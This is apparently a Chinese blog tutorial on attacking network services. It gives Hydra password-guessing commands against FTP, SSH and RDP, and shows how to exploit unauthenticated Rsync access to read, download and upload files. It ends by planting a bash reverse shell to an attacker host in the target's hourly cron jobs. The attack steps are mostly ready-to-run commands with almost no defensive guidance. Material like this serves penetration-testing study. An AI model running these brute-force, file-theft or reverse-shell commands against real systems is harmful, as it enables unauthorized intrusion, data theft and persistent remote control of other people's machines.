57、服务攻防——应用协议&Rsync&SSH&RDP&漏洞批扫&口令猜解

文章目录


口令猜解------Hydra-FTP&RDP&SSH

  • FTP:文本传输协议,端口21;
  • RDP:windows上远程终端协议,端口3389;
  • SSH:linux远程终端协议,端口22。
bash 复制代码
hydra -L test -P 10top1K.txt <ip地址> ftp -V
hydra -l root -P 10top1K.txt <ip地址> ssh -V
hydra -l administrator -P 10top1K.txt <ip地址> rdp -V

密码项目:fuzzDicts

配置不当------未授权访问---Rsync文件备份

Rsync:linux文件同步的应用程序,常用于本地计算机和远程计算机之间文件同步,端口873

  1. 判断是否存在Rsync未授权访问:rsync rsync://<ip:port>/
    出现上述信息,说明存在rsync未授权访问。

  2. 利用:

    • 读取文件:rsync rsync://<ip:port>/src/
    • 下载文件:rsync rsync://<ip:port>/src/passwd ./
    • 上传文件:rsync -av passwd rsync://<ip:port>/src/tmp/passwd
  3. 反弹shell(借助系统计划任务)

    • 获取信息:rsync rsync://<ip:port>/src/etc/crontab /root/cron.txt(下载到本地查看)
    • 本地创建后门文件
    bash 复制代码
    touch shell //创建文件
    
    //文件内容
    /bin/bash -i >& /dev/tcp/<攻击机ip:port> 0>&1
    
    chmod +x shell //修改文件权限
    • 上传文件:rsync -av shell rsync://<ip:port>/src/etc/cron.hourly(上传到可利用的计划任务中)

fofa爬虫:fofa_viewer

协议漏洞------应用软件-FTP&Proftpd搭建

Proftpd:用于架设ftp服务。

相关推荐
程序员JerrySUN41 分钟前
Linux系统架构核心全景详解
linux·运维·系统架构
无敌的牛41 分钟前
Linux文件理解,基础IO理解
linux·运维·服务器
angushine44 分钟前
鲲鹏服务器logstash采集nginx日志
运维·服务器·nginx
睿思达DBA_WGX1 小时前
由于主库切换归档路径导致的 Oracle DG 无法同步问题的解决过程
运维·数据库·oracle
XXYBMOOO2 小时前
Xilinx-FPGA-PCIe-XDMA 驱动内核兼容性问题修复方案
linux·运维·服务器
爱学习的狮王2 小时前
window10和ubuntu22.04双系统之卸载ubuntu系统
linux·运维·ubuntu
Deutsch.4 小时前
负载均衡Haproxy
运维·负载均衡·haproxy
不做无法实现的梦~5 小时前
mid360连接机载电脑,远程桌面连接不上的情况
运维·服务器·电脑
运维成长记5 小时前
关于linux运维 出现高频的模块认知
运维·职场和发展·云计算
IT成长日记6 小时前
【自动化运维神器Ansible】Ansible常用模块之archive模块详解
运维·自动化·ansible·常用模块·archive